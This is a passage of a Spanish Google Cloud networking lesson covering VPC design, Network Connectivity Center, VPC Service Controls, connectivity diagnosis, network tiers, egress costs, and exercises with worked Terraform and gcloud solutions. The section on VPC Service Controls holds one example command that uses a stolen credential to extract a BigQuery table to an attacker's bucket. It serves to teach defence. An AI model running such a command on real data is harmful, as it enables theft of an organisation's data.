--advertisement-mode=custom \
--set-advertisement-ranges=10.10.0.0/24,10.10.1.0/24 \
--region=europe-west1 --project=alpinashop-redLos cinco errores clásicos de enrutamiento
| Error | Síntoma | Solución |
|---|---|---|
| Rangos solapados | El tráfico "desaparece" o va al sitio equivocado | Renumerar. No hay atajo |
| No anunciar el rango de servicios privados | Túnel arriba, pero no se llega a Cloud SQL | --set-advertisement-ranges |
routing_mode = REGIONAL con recursos multirregión |
Una región llega y la otra no | Cambiar a GLOBAL |
| Esperar transitividad del emparejamiento | La VPC emparejada no llega a la VPN | Es imposible por diseño; usar NCC o VPC compartida |
| Firewall olvidado | BGP arriba, ping sin respuesta |
Regla de ingreso para el rango remoto |
- Network Connectivity Center: la topología radial gestionada
Cuando hay muchas redes y muchas sedes, el problema N² del emparejamiento se vuelve insoportable. Network Connectivity Center (NCC) resuelve eso con un modelo radial (hub and spoke):
- Un eje (hub) central, que es un recurso lógico.
- Radios (spokes): VPC, túneles VPN, adjuntos de Interconnect, o dispositivos virtuales de terceros.
- El eje encamina entre radios, lo que da la transitividad que el emparejamiento no tiene.
flowchart TB
HUB(("NCC hub"))
S1["VPC produccion"] --- HUB
S2["VPC datos"] --- HUB
S3["VPN Sabadell"] --- HUB
S4["VPN oficina central"] --- HUB
S5["Interconnect socio"] --- HUB
gcloud network-connectivity hubs create alpinashop-hub --project=alpinashop-red
gcloud network-connectivity spokes linked-vpc-network create radio-prod \
--hub=alpinashop-hub --vpc-network=alpinashop-vpc \
--global --project=alpinashop-red¿Lo necesita AlpinaShop? No. Con una VPC compartida y un enlace a Sabadell, el eje no aporta nada y cuesta por radio y hora. Se explica porque es la respuesta correcta cuando la red crece —cinco o más redes y sedes que deben hablarse entre sí— y porque saber que existe evita montar quince emparejamientos a mano.
- Controles de servicio de VPC: el perímetro contra la exfiltración
Este apartado responde al riesgo del principio de la lección, y es probablemente lo más importante que hay aquí.
El problema que IAM no resuelve. IAM controla quién puede hacer qué. No controla desde dónde ni hacia dónde. Si sa-informes-nocturnos tiene permiso para leer alpinashop_analitica, y alguien roba sus credenciales:
# Con la credencial robada, desde cualquier maquina de internet:
bq extract alpinashop-datos:alpinashop_analitica.pedidos \
gs://bucket-del-atacante/exfiltrado-*.csvIAM autoriza esta operación. El permiso existe, la petición es legítima desde el punto de vista de la autorización. Y los datos salen.
Los controles de servicio de VPC (VPC Service Controls) crean un perímetro alrededor de proyectos y servicios. Dentro del perímetro se puede trabajar; los datos no cruzan la frontera, ni siquiera con credenciales válidas.
flowchart TB
subgraph PER["Perimetro: alpinashop-datos"]
BQ["BigQuery<br/>alpinashop_analitica"]
GCS["Buckets<br/>alpinashop-datalake"]
end
OK["Dataflow desde<br/>10.10.1.0/24"] -->|"PERMITIDO"| PER
LU["Lucia desde IP<br/>corporativa + nivel de acceso"] -->|"PERMITIDO"| PER
MAL["Credencial robada<br/>desde internet"] -.->|"BLOQUEADO"| PER
PER -.->|"BLOQUEADO:<br/>copia a bucket externo"| EXT["Proyecto ajeno"]
style PER fill:#e6f4ea,stroke:#34a853
style MAL fill:#fce8e6,stroke:#ea4335
style EXT fill:#fce8e6,stroke:#ea4335
El perímetro de AlpinaShop
# 1. Nivel de acceso: desde donde SI se puede entrar
gcloud access-context-manager levels create acceso_corporativo \
--title="Acceso corporativo AlpinaShop" \
--basic-level-spec=nivel.yaml \
--policy=POLICY_ID# nivel.yaml
- ipSubnetworks:
- 88.20.145.0/24 # oficina central
- 192.168.10.0/24 # tienda de Sabadell, a traves del tunel
- members:
- serviceAccount:[email protected]# 2. El perimetro, PRIMERO EN MODO DE PRUEBA
gcloud access-context-manager perimeters create perimetro_datos \
--title="Perimetro de datos AlpinaShop" \
--resources=projects/NUMERO_PROYECTO_DATOS \
--restricted-services=bigquery.googleapis.com,storage.googleapis.com \
--access-levels=acceso_corporativo \
--perimeter-type=regular \
--policy=POLICY_ID \
--dry-run # <<< IMPRESCINDIBLECon --dry-run, el perímetro registra lo que bloquearía sin bloquear nada. Se dejan una o dos semanas y se analizan las violaciones:
-- Violaciones que se producirian, desde los logs de auditoria
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS identidad,
protopayload_auditlog.methodName AS metodo,
protopayload_auditlog.metadata.dryRun AS en_pruebas,
protopayload_auditlog.metadata.violationReason AS motivo
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE DATE(timestamp) >= DATE_SUB(CURRENT_DATE(), INTERVAL 14 DAY)
ORDER BY timestamp DESCSolo cuando el listado está limpio o justificado se aplica de verdad (--enable-dry-run-config y promoción del perímetro).
La advertencia que hay que tomarse en serio
VPC Service Controls es la función de Google Cloud con la que más gente se ha bloqueado a sí misma.
Lo que rompe habitualmente, y hay que preverlo antes:
| Se rompe | Por qué | Solución |
|---|---|---|
| La consola web de BigQuery | El navegador de Lucía sale por una IP no incluida | Añadir el rango al nivel de acceso |
| Cloud Build accediendo a un bucket del perímetro | El proyecto alpinashop-cicd está fuera |
Puente entre perímetros o incluirlo |
| Cloud Shell | Sale por IP de Google, no por la tuya | Nivel de acceso específico o VM propia |
| Herramientas de terceros (Looker Studio, BI) | Fuera del perímetro | Regla de ingreso específica |
| Exportaciones legítimas a otro proyecto | Es exactamente lo que bloquea | Regla de salida (egress policy) explícita |
Y hay dos reglas de oro:
- Nunca actives un perímetro un viernes. Es un tópico y es literalmente cierto.
--dry-runno es opcional. Es la diferencia entre un control de seguridad y una caída de un día.
Aviso. El diseño de perímetros, niveles de acceso y reglas de entrada y salida tiene implicaciones directas de seguridad y de cumplimiento. Lo de aquí es un modelo docente correcto, pero antes de proteger datos personales o financieros en producción debe revisarlo un profesional de seguridad y de cumplimiento normativo.
- Diagnóstico de red: Network Intelligence Center y un fallo real
Network Intelligence Center agrupa las herramientas que convierten el diagnóstico de red en algo determinista.
| Herramienta | Qué hace |
|---|---|
| Pruebas de conectividad | Simula un paquete de A a B y dice exactamente qué lo permite o lo bloquea |
| Topología de red | Mapa visual del tráfico real entre regiones, zonas y servicios |
| Panel de rendimiento | Latencia y pérdida de paquetes entre zonas y regiones |
| Analizador de firewall | Reglas sin uso, reglas sombreadas por otras, permisivas de más |
| Flow Logs | Registro de las conexiones reales |
Un fallo real, resuelto con herramientas
Los hechos. Lunes por la mañana. El proceso de sincronización de stock lleva tres horas fallando: Connection timed out al conectar a 192.168.10.20:3306. El viernes funcionaba. Nadie ha tocado nada (dicen).
Paso 1 — ¿Está arriba el túnel?
gcloud compute vpn-tunnels list --project=alpinashop-red \
--format="table(name,status,detailedStatus)"NAME STATUS DETAILED_STATUS tunel-sabadell-0 ESTABLISHED Tunnel is up and running tunel-sabadell-1 ESTABLISHED Tunnel is up and running
Los dos túneles arriba. No es la VPN. Aquí se acaba el diagnóstico de mucha gente, que concluye "es cosa de Sabadell" y llama por teléfono.
Paso 2 — ¿Está arriba el BGP y qué rutas hay?
gcloud compute routers get-status alpinashop-router-euw1 \
--region=europe-west1 --project=alpinashop-red \
--format="yaml(result.bgpPeerStatus)"Cero rutas aprendidas. El túnel está establecido y la sesión BGP también, pero Sabadell ha dejado de anunciar 192.168.10.0/24. El paquete no sabe por dónde salir.
Paso 3 — Confirmarlo con una prueba de conectividad, que da un veredicto inapelable:
gcloud network-management connectivity-tests create diag-erp \
--source-project=alpinashop-prod \
--source-ip-address=10.10.0.15 \
--destination-ip-address=192.168.10.20 \
--destination-port=3306 \
--protocol=TCP \
--project=alpinashop-red
gcloud network-management connectivity-tests describe diag-erp \
--project=alpinashop-red --format="yaml(reachabilityDetails)"reachabilityDetails:
result: UNREACHABLE
traces:
- steps:
- description: Initial state - instance
- description: Config checking state - apply egress firewall rule
state: APPLY_EGRESS_FIREWALL_RULE
- description: Config checking state - route
state: NO_ROUTE # <<<<<< veredicto
causeCode: NO_ROUTE_FROM_ROUTE_TABLENO_ROUTE. No es el firewall, no es el túnel: no hay ruta. La prueba de conectividad ha convertido tres horas de sospechas en treinta segundos de certeza.
Paso 4 — La causa raíz. Llamada a la empresa que mantiene el router de Sabadell: el sábado actualizaron el firmware y la configuración BGP se restauró desde una copia anterior a la instalación de la VPN. La red anunciada desapareció de la configuración.
Paso 5 — Corrección y lecciones. El proveedor restaura el anuncio; las rutas aparecen en menos de un minuto y el proceso vuelve a funcionar. Lo que se cambia después:
- Alerta sobre
numLearnedRoutes == 0en Cloud Monitoring. Habría avisado el sábado por la noche. - Alerta sobre el estado de los túneles VPN (
vpn/tunnel_established). - La sincronización de stock deja de fallar en silencio: si lleva más de 30 minutos sin actualizar, alerta. La detección la hizo un humano tres horas tarde, exactamente lo que 06-04 quería evitar.
- El acuerdo con el proveedor de la tienda incorpora avisar de cambios en el router.
Flow Logs: cuando hace falta ver el tráfico real
Los VPC Flow Logs, activados en el apartado 4 con muestreo del 50 %, permiten responder preguntas que ninguna otra herramienta responde:
-- Quien esta hablando con el ERP a traves del tunel, y cuanto
SELECT
jsonPayload.connection.src_ip AS origen,
jsonPayload.connection.dest_ip AS destino,
jsonPayload.connection.dest_port AS puerto,
COUNT(*) AS conexiones,
SUM(CAST(jsonPayload.bytes_sent AS INT64)) AS bytes
FROM `alpinashop-red.red.compute_googleapis_com_vpc_flows_*`
WHERE _TABLE_SUFFIX BETWEEN FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
AND FORMAT_DATE('%Y%m%d', CURRENT_DATE())
AND NET.IP_TO_STRING(NET.IP_FROM_STRING(jsonPayload.connection.dest_ip))
LIKE '192.168.10.%'
GROUP BY origen, destino, puerto
ORDER BY bytes DESCSirven para tres cosas concretas: investigar incidentes de seguridad (¿quién habló con esa IP?), entender el coste (qué tráfico cruza zonas o regiones) y encontrar tráfico que no debería existir.
Su inconveniente es el volumen: son caros. Por eso flow_sampling = 0.5, y por eso conviene un sumidero a BigQuery con caducidad en lugar de retención larga en Cloud Logging (06-06).
- Niveles de servicio Premium y Estándar
Google Cloud ofrece dos niveles de red para el tráfico saliente hacia internet:
| Premium (por defecto) | Estándar | |
|---|---|---|
| Recorrido | Por la red troncal privada de Google hasta el punto más cercano al usuario | Sale a internet público desde la región de origen |
| Latencia | Menor y más estable | Mayor y variable |
| IP | Anycast global | Regional |
| Balanceo global | Sí | No: solo balanceadores regionales |
| SLA | Sí | Menor |
| Precio | Mayor | Del orden de un 25-30 % menos |
La diferencia práctica con un ejemplo: un cliente de Berlín que visita AlpinaShop en europe-west1. Con Premium, entra a la red de Google en Berlín y el resto del camino va por fibra de Google. Con Estándar, todo el trayecto Berlín→Bélgica va por internet público, con la latencia y variabilidad que eso implica.
Criterio:
| Caso | Nivel |
|---|---|
| Tráfico de clientes finales | Premium. La latencia es conversión |
| Balanceador global, CDN, IP anycast | Premium (es obligatorio) |
| Copias de seguridad nocturnas a otro proveedor | Estándar: nadie espera |
| Entornos de desarrollo | Estándar |
| Transferencias masivas sin urgencia | Estándar |
AlpinaShop usa Premium para la tienda —no es negociable, el balanceador global lo exige— y podría usar Estándar en alpinashop-dev, aunque el ahorro sería de céntimos.
- El coste del tráfico: donde se esconde la factura
Este apartado es un anticipo de 07-05, pero pertenece aquí porque son decisiones de red.
La regla que resume el 90 % de los casos:
La entrada es gratis. La salida se paga. Y cuanto más lejos, más cara.
| Trayecto | Coste orientativo | Comentario |
|---|---|---|
| Entrada desde internet | Gratis | Siempre |
| Dentro de una zona, por IP interna | Gratis | El caso ideal |
| Entre zonas de la misma región | ~0,01 $/GB | Sorprende a todo el mundo |
| Entre regiones dentro de la UE | ~0,02 $/GB | |
| Entre continentes | 0,05-0,15 $/GB | |
| Salida a internet (Premium, primeros TB) | ~0,12 $/GB | |
| Salida a internet vía Cloud CDN | Menor | Por eso la CDN ahorra (03-03) |
| Salida por túnel VPN | Tarifa de internet + coste del túnel |
Los cuatro escondites clásicos, con su remedio:
- Tráfico entre zonas por alta disponibilidad. Cloud SQL en HA regional replica continuamente entre zonas, y eso se paga. Es el precio de la disponibilidad y está bien pagarlo — pero hay que saber que está ahí antes de sorprenderse.
- Aplicación y base de datos en zonas distintas sin motivo. Cada consulta cruza zona y paga. Colocar deliberadamente lo que se habla mucho es gratis y ahorra.
- Logs y métricas que cruzan regiones. Un sumidero de logs de
europe-west1hacia un bucket enus-central1paga tráfico intercontinental por cada línea de log. Los buckets de logs se ponen en la misma región. - Copias de seguridad y exportaciones a otro proveedor. Sacar 500 GB al mes hacia otra nube son decenas de euros mensuales que nadie atribuyó a nadie.
Las tres palancas de ahorro que se aplican en la red:
- CDN (03-03): cada respuesta servida desde caché no sale del origen. Es la palanca más grande para un sitio con imágenes.
- Colocación: poner en la misma zona lo que se llama constantemente.
- Comprimir:
gzipobrotlien el balanceador reduce los bytes facturados y además mejora la experiencia.
Y el desglose por servicio se consulta con la exportación de facturación de 01-04:
SELECT
service.description AS servicio,
sku.description AS concepto,
ROUND(SUM(cost), 2) AS coste_eur
FROM `alpinashop-datos.facturacion.gcp_billing_export_v1_XXXX`
WHERE DATE(usage_start_time) >= DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND (LOWER(sku.description) LIKE '%egress%'
OR LOWER(sku.description) LIKE '%network%'
OR LOWER(sku.description) LIKE '%inter-zone%'
OR LOWER(sku.description) LIKE '%inter-region%')
GROUP BY servicio, concepto
HAVING coste_eur > 0.5
ORDER BY coste_eur DESCErrores Comunes y Consejos
- No tener plan de direccionamiento. El día que dos rangos se solapen, la única solución es renumerar con parada de servicio. Diez minutos de hoja de cálculo evitan un fin de semana horrible.
- Usar
172.16.0.0/12en la VPC. Es el rango por defecto de Docker; los contenedores no podrán alcanzar esas IP. - Crear la VPC con
auto_create_subnetworks = true. Crea una subred en cada región con rangos que no elegiste y que probablemente choquen con algo. - Poner la red compartida en el proyecto de producción. Obliga a dar permisos de producción a quien solo necesita una subred de desarrollo. Proyecto host propio y vacío.
- Dar
compute.networkUsersobre toda la red. Se da sobre la subred concreta. Es la mitad del valor de la VPC compartida. - Olvidar el permiso del agente
serverless-robot-prodal usar Cloud Run con VPC directa en VPC compartida. Error críptico garantizado. routing_mode = REGIONALen una red que crecerá. Cambiarlo después reinicia las sesiones BGP.- Esperar transitividad del emparejamiento. A↔B y B↔C no dan A↔C. Nunca.
- Emparejar sin
--export-custom-routes. El emparejamiento se establece y aun así no se llega a la VPN del otro lado. - No anunciar el rango de acceso a servicios privados. Túnel perfecto y Cloud SQL inalcanzable desde la sede.
- Montar la VPN con un solo túnel. Cualquier mantenimiento del otro lado es un corte. Dos túneles, siempre.
- Activar VPC Service Controls sin
--dry-run. Es la forma más eficaz de bloquear a todo tu equipo, incluido tú. - Olvidar que Cloud Shell sale por IP de Google. Con un perímetro activo, tu propia consola deja de funcionar y parece un fallo de la plataforma.
- Diagnosticar redes a base de
pingy suposiciones. Las pruebas de conectividad dan un veredicto con la regla concreta que bloquea. - Ignorar el tráfico entre zonas. No es gratis, y en arquitecturas replicadas es una parte apreciable de la factura.
- Consejo: alerta sobre
numLearnedRoutesy sobre el estado de los túneles. Son dos métricas que avisan de un fallo híbrido antes de que lo note un proceso de negocio. - Consejo: guarda la clave precompartida de la VPN en Secret Manager, no en el
.tfni en el historial del terminal. - Consejo: activa los Flow Logs con muestreo, no al 100 %. Al 50 % ves lo que necesitas por la mitad de coste.
Ejercicios
Ejercicio 1 — Diseñar el direccionamiento de una expansión
AlpinaShop crece y hay que planificar la red para lo siguiente:
- Segunda región
europe-southwest1(Madrid) para alta disponibilidad, con las mismas tres subredes. - Dos tiendas físicas nuevas: Girona y Zaragoza, cada una con su LAN y su VPN.
- Un socio logístico que se conectará por Private Service Connect para consultar el estado de los envíos.
- Un entorno de pruebas de carga que se crea y se destruye, aislado del resto.
- Previsión de un clúster de GKE con hasta 200 pods.
Elabora la tabla completa de direccionamiento indicando rango, uso, región y justificación del tamaño. Señala qué decisiones tomas para no quedarte sin espacio en cinco años y qué rangos prohíbes explícitamente.
Ejercicio 2 — Implementar la VPC compartida con permisos correctos
Escribe el Terraform que:
- Convierte
alpinashop-reden proyecto host y vinculaalpinashop-prod,alpinashop-devyalpinashop-datos. - Crea las subredes
sn-web-euw1,sn-datos-euw1ysn-dev-euw1con Private Google Access y Flow Logs al 50 %. - Concede permisos de forma que:
gcp-desarrollo@solo pueda usarsn-dev-euw1;gcp-datos@solosn-datos-euw1; la cuenta de servicio de Cloud Run pueda usarsn-web-euw1; y nadie salvogcp-infra@pueda modificar reglas de firewall. - Define quién tiene
compute.xpnAdminy en qué nivel de la jerarquía.
Explica además qué pasaría si Dani intentase crear una VM en sn-datos-euw1 y qué error vería exactamente.
Ejercicio 3 — Diagnosticar tres fallos de conectividad
Para cada uno de estos tres casos, indica el diagnóstico más probable, cómo lo confirmarías con herramientas concretas, y cómo lo corregirías.
(a) El servicio alpinashop-web en Cloud Run, con VPC directa configurada, no consigue conectar a 192.168.10.20:3306 (el ERP). Desde una VM de sn-web-euw1 sí funciona. Los túneles están ESTABLISHED y el BGP aprende 192.168.10.0/24.
(b) Lucía no puede abrir la consola de BigQuery desde su portátil en casa. Desde la oficina sí. El error dice VPC Service Controls: Request is prohibited by organization's policy. Hace dos semanas que el perímetro está activo y hasta ahora nadie se había quejado.
(c) Una VM del proyecto alpinashop-datos (VPC propia, emparejada con alpinashop-vpc) necesita llegar al ERP de Sabadell. El emparejamiento está ACTIVE, la VM llega sin problemas a las VM de sn-web-euw1, pero a 192.168.10.20 no.
Soluciones
Solución 1 — Diseñar el direccionamiento de una expansión
Principio rector: reservar bloques /16 completos por ámbito aunque se use una fracción mínima. El espacio privado tiene 16,7 millones de direcciones en 10.0.0.0/8: ahorrar rangos es una falsa economía y la causa número uno de renumeraciones.
| Bloque | Rango | Uso | Región / sede | Justificación del tamaño |
|---|---|---|---|---|
| Google Cloud, región 1 | 10.10.0.0/16 |
Existente | europe-west1 |
65k IP, sobra |
10.10.0.0/24 |
sn-web-euw1 |
Cargas web | ||
10.10.1.0/24 |
sn-datos-euw1 |
Bases de datos | ||
10.10.2.0/24 |
sn-dev-euw1 |
Desarrollo | ||
10.10.8.0/22 |
Pods de GKE (secundario) | 200 pods necesitan ~1.024 IP con margen de reprogramación | ||
10.10.12.0/24 |
Servicios de GKE (secundario) | 256 servicios de sobra | ||
10.10.16.0/24 |
Subred de solo proxy | Balanceadores internos | ||
10.10.20.0/24 |
Cloud Run VPC directa | Consume IP por instancia; /24 es holgado |
||
10.10.240.0/20 |
Acceso a servicios privados | Lo exige Google; no reducir | ||
| Google Cloud, región 2 | 10.20.0.0/16 |
Espejo exacto | europe-southwest1 |
Mismo esquema con el segundo octeto cambiado |
10.20.0.0/24 |
sn-web-esw1 |
|||
10.20.1.0/24 |
sn-datos-esw1 |
|||
10.20.2.0/24 |
sn-dev-esw1 |
|||
10.20.240.0/20 |
Servicios privados región 2 | |||
| Regiones futuras | 10.30.0.0/16 … 10.90.0.0/16 |
Reservado | — | Un /16 por región, sin asignar |
| Pruebas de carga | 10.100.0.0/16 |
Efímero, VPC aislada | europe-west1 |
Deliberadamente fuera del bloque de producción |
| Tiendas físicas | 192.168.0.0/16 |
Bloque de sedes | — | Se mantiene el esquema existente |
192.168.10.0/24 |
Sabadell | Existente | ||
192.168.11.0/24 |
Girona | Nueva | ||
192.168.12.0/24 |
Zaragoza | Nueva | ||
192.168.13.0/24 … 192.168.49.0/24 |
Reservado: 37 tiendas más | |||
192.168.20.0/24 |
Oficina central | Existente | ||
| Extremos PSC | 10.10.250.0/24 |
Extremos de consumo | europe-west1 |
Fuera de las subredes normales, fácil de identificar |
10.20.250.0/24 |
Ídem región 2 | |||
| PROHIBIDO | 172.16.0.0/12 |
Docker | — | Choca con redes puente de contenedores |
| PROHIBIDO | 169.254.0.0/16 |
Enlace local | — | Lo usa BGP y los metadatos de GCP |
| PROHIBIDO | 10.0.0.0/16, 10.1.0.0/16 |
Reservado a fusiones | — | Rangos "obvios" que suele usar el que compras |
Las cinco decisiones que evitan la renumeración a cinco años:
- Un
/16por región, con el segundo octeto como identificador de región.10.X0.0.0/16. Mirar una IP y saber la región sin consultar nada tiene un valor operativo enorme durante un incidente. - Esquema de subredes idéntico entre regiones, cambiando solo el segundo octeto. Las reglas de firewall, los scripts y los diagramas se replican con una sustitución.
- Las tiendas van todas en
192.168.0.0/16con/24correlativos. El anuncio BGP puede agregarse y una regla de firewall cubre todas las tiendas presentes y futuras. - Las pruebas de carga en
10.100.0.0/16, fuera del bloque de producción y en VPC propia sin emparejar. Si un test descontrolado inunda algo, no puede alcanzar producción. Y como es efímero, su rango puede reutilizarse sin riesgo. - Reservar
10.0.0.0/16y10.1.0.0/16sin usarlos. Son los rangos que elige por defecto quien no planifica. El día que AlpinaShop compre otra empresa, es casi seguro que la comprada usa uno de esos dos — y tenerlos libres evita renumerar la red ajena.
Sobre el socio logístico: no consume direccionamiento propio. Con PSC crea un extremo en su VPC con su rango, apuntando al service attachment de AlpinaShop. Ninguna de las dos partes ve la red de la otra, no hay riesgo de solapamiento y no hay rutas que gestionar. Es exactamente el caso de uso de PSC frente al emparejamiento, y por eso se ha convertido en el estándar para conectar con socios.
Solución 2 — Implementar la VPC compartida con permisos correctos
# ------------------------------------------------------------------
# 1. Proyecto host y vinculacion de proyectos de servicio
# ------------------------------------------------------------------
resource "google_compute_shared_vpc_host_project" "host" {
project = "alpinashop-red"
}
resource "google_compute_shared_vpc_service_project" "servicios" {
for_each = toset(["alpinashop-prod", "alpinashop-dev", "alpinashop-datos"])
host_project = google_compute_shared_vpc_host_project.host.project
service_project = each.value
}
# ------------------------------------------------------------------
# 2. Red y subredes
# ------------------------------------------------------------------
resource "google_compute_network" "alpinashop" {
project = "alpinashop-red"
name = "alpinashop-vpc"
auto_create_subnetworks = false
routing_mode = "GLOBAL"
}
locals {
subredes = {
"sn-web-euw1" = "10.10.0.0/24"
"sn-datos-euw1" = "10.10.1.0/24"
"sn-dev-euw1" = "10.10.2.0/24"
}
}
resource "google_compute_subnetwork" "subredes" {
for_each = local.subredes
project = "alpinashop-red"
name = each.key
ip_cidr_range = each.value
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
log_config {
aggregation_interval = "INTERVAL_10_MIN"
flow_sampling = 0.5
metadata = "INCLUDE_ALL_METADATA"
}
}
# ------------------------------------------------------------------
# 3. Permisos granulares POR SUBRED
# ------------------------------------------------------------------
resource "google_compute_subnetwork_iam_member" "dev" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-dev-euw1"].name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
resource "google_compute_subnetwork_iam_member" "datos" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-datos-euw1"].name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
# Cloud Run con VPC directa: el permiso lo necesita el AGENTE DE SERVICIO,
# no la cuenta de servicio del servicio. Es el error que nadie adivina.
resource "google_compute_subnetwork_iam_member" "run" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-web-euw1"].name
role = "roles/compute.networkUser"
member = "serviceAccount:service-${data.google_project.prod.number}@serverless-robot-prod.iam.gserviceaccount.com"
}
data "google_project" "prod" {
project_id = "alpinashop-prod"
}
# ------------------------------------------------------------------
# 4. Firewall: SOLO gcp-infra@ puede tocarlo
# ------------------------------------------------------------------
resource "google_project_iam_member" "seguridad_red" {
project = "alpinashop-red"
role = "roles/compute.securityAdmin" # gestiona reglas de firewall
member = "group:[email protected]"
}
resource "google_project_iam_member" "admin_red" {
project = "alpinashop-red"
role = "roles/compute.networkAdmin" # subredes, routers, VPN, NAT
member = "group:[email protected]"
}
# Los demas equipos solo LEEN la red, para poder depurar
resource "google_project_iam_member" "lectores_red" {
for_each = toset([
"group:[email protected]",
"group:[email protected]",
])
project = "alpinashop-red"
role = "roles/compute.networkViewer"
member = each.value
}
# ------------------------------------------------------------------
# 5. xpnAdmin: a nivel de CARPETA, no de proyecto
# ------------------------------------------------------------------
resource "google_folder_iam_member" "xpn_admin" {
folder = var.folder_compartido_id
role = "roles/compute.xpnAdmin"
member = "group:[email protected]"
}Sobre compute.xpnAdmin. Se concede a gcp-infra@ a nivel de la carpeta compartido, no de proyecto, porque es donde vive el host y desde donde se vinculan los proyectos. Concederlo a nivel de organización daría poder para convertir en host cualquier proyecto de la empresa, que es más de lo necesario. Aplicando el mínimo privilegio de 03-04: el nivel más bajo de la jerarquía en el que el permiso funciona.
En AlpinaShop, gcp-infra@ es Marta, y este es exactamente el tipo de permiso que en 07-04 se convertirá en candidato a elevación temporal en lugar de permanente.
Qué pasaría si Dani intentase crear una VM en sn-datos-euw1:
$ gcloud compute instances create prueba-dani \
--project=alpinashop-dev --zone=europe-west1-b \
--subnet=projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1
ERROR: (gcloud.compute.instances.create) Could not fetch resource:
- Required 'compute.subnetworks.use' permission for
'projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1'El permiso que falta es compute.subnetworks.use, que forma parte de roles/compute.networkUser. El mensaje nombra la subred concreta, lo que hace el diagnóstico inmediato.
Y hay un matiz revelador: si Dani ejecuta gcloud compute networks subnets list --project=alpinashop-red, verá sn-dev-euw1 y también sn-datos-euw1, porque tiene networkViewer. Puede ver que existe, pero no usarla. Esa distinción entre ver y usar es deliberada: sin visibilidad no se puede diagnosticar nada, y con networkViewer no se puede hacer daño.
Solución 3 — Diagnosticar tres fallos de conectividad
(a) Cloud Run no llega al ERP, pero una VM de la misma subred sí.
Diagnóstico. Que una VM de sn-web-euw1 sí llegue demuestra que la ruta, el BGP y el firewall están bien. Lo que cambia entre la VM y Cloud Run es cómo sale el tráfico. La causa casi segura es --vpc-egress: si está en private-ranges-only, el tráfico a rangos RFC 1918 debería ir por la VPC… y 192.168.10.0/24 es RFC 1918, así que eso encaja. Quedan dos hipótesis:
- El servicio no tiene VPC directa realmente aplicada (se configuró en el servicio pero la revisión en tráfico es anterior al cambio). Es la causa más frecuente: la configuración de red se aplica por revisión, y si se cambió con
--no-traffic, el 100 % del tráfico sigue en la revisión antigua sin red. - La subred asignada a la VPC directa no es
sn-web-euw1sino otra sin las rutas correctas.
Confirmación.
# Que revision esta recibiendo trafico y que red tiene
gcloud run services describe alpinashop-web --region=europe-west1 \
--format="yaml(spec.traffic, spec.template.metadata.annotations)"
# Prueba de conectividad tomando Cloud Run como origen
gcloud network-management connectivity-tests create diag-run-erp \
--source-cloud-run-revision=alpinashop-web-00042-abc \
--destination-ip-address=192.168.10.20 \
--destination-port=3306 --protocol=TCP \
--project=alpinashop-redCorrección. Redesplegar aplicando red y dando tráfico a esa revisión:
gcloud run services update alpinashop-web --region=europe-west1 \
--network=alpinashop-vpc --subnet=sn-web-euw1 \
--vpc-egress=private-ranges-only
gcloud run services update-traffic alpinashop-web --region=europe-west1 --to-latestY comprobar que el agente serverless-robot-prod tiene networkUser sobre sn-web-euw1; sin él, el despliegue habría fallado con un error de permisos poco explícito.
(b) Lucía no puede entrar en BigQuery desde casa.
Diagnóstico. El mensaje lo dice literalmente: el perímetro de VPC Service Controls está bloqueando la petición. El nivel de acceso acceso_corporativo incluye 88.20.145.0/24 (la oficina) y 192.168.10.0/24 (Sabadell), pero no la IP doméstica de Lucía. Desde la oficina funciona porque sale por el rango permitido.
Que "hasta ahora nadie se había quejado" no significa que sea nuevo: significa que nadie había trabajado desde fuera desde que se activó el perímetro. Es el patrón típico — el perímetro se activa, funciona, y dos semanas después alguien teletrabaja y aparece el problema.
Confirmación.
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS quien,
protopayload_auditlog.requestMetadata.callerIp AS ip_origen,
protopayload_auditlog.metadata.violationReason AS motivo
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE protopayload_auditlog.authenticationInfo.principalEmail = '[email protected]'
AND DATE(timestamp) = CURRENT_DATE()
ORDER BY timestamp DESC LIMIT 20El campo callerIp muestra la IP doméstica y violationReason dirá NO_MATCHING_ACCESS_LEVEL.
Corrección. Hay tres opciones, y la peor es la más tentadora:
| Opción | Valoración |
|---|---|
| Añadir la IP de casa de Lucía al nivel de acceso | Mala. Las IP domésticas son dinámicas y esto se repetirá con cada persona y cada cambio de IP. Convierte el nivel de acceso en una lista inmanejable |
| Que Lucía se conecte por VPN corporativa y salga por la IP de oficina | Aceptable, pero exige montar y mantener una VPN de usuario |
| Nivel de acceso basado en dispositivo, con BeyondCorp Enterprise / Endpoint Verification: se permite el acceso desde un equipo gestionado, cifrado y con pantalla bloqueada, independientemente de la IP | La correcta, y es la implementación práctica de la confianza cero que se desarrolla en 07-04 |
La tercera es más trabajo inicial y es la única que escala: el control deja de ser "desde dónde te conectas" y pasa a ser "qué dispositivo eres y quién eres", que es lo que realmente importa. Mientras se implanta, la opción 2 es un puente razonable.
(c) La VM de alpinashop-datos llega a sn-web-euw1 pero no a Sabadell.
Diagnóstico. Es el problema de transitividad del emparejamiento, en su forma más pura. La VPC de datos está emparejada con alpinashop-vpc, y por eso alcanza sus subredes. Pero la ruta hacia 192.168.10.0/24 no es una subred de alpinashop-vpc: es una ruta aprendida por BGP desde el túnel VPN. Y por defecto el emparejamiento no exporta rutas aprendidas por BGP ni rutas estáticas: solo las de las subredes.
Además, aunque se exportaran, hay un segundo obstáculo: el emparejamiento no es transitivo, de modo que el tráfico de retorno desde Sabadell tampoco sabría cómo volver a la VPC de datos salvo que su rango también se anuncie por BGP.
Confirmación.
# Ver las rutas que exporta e importa el emparejamiento
gcloud compute networks peerings list-routes datos-hacia-red \
--network=vpc-datos --region=europe-west1 --direction=INCOMING \
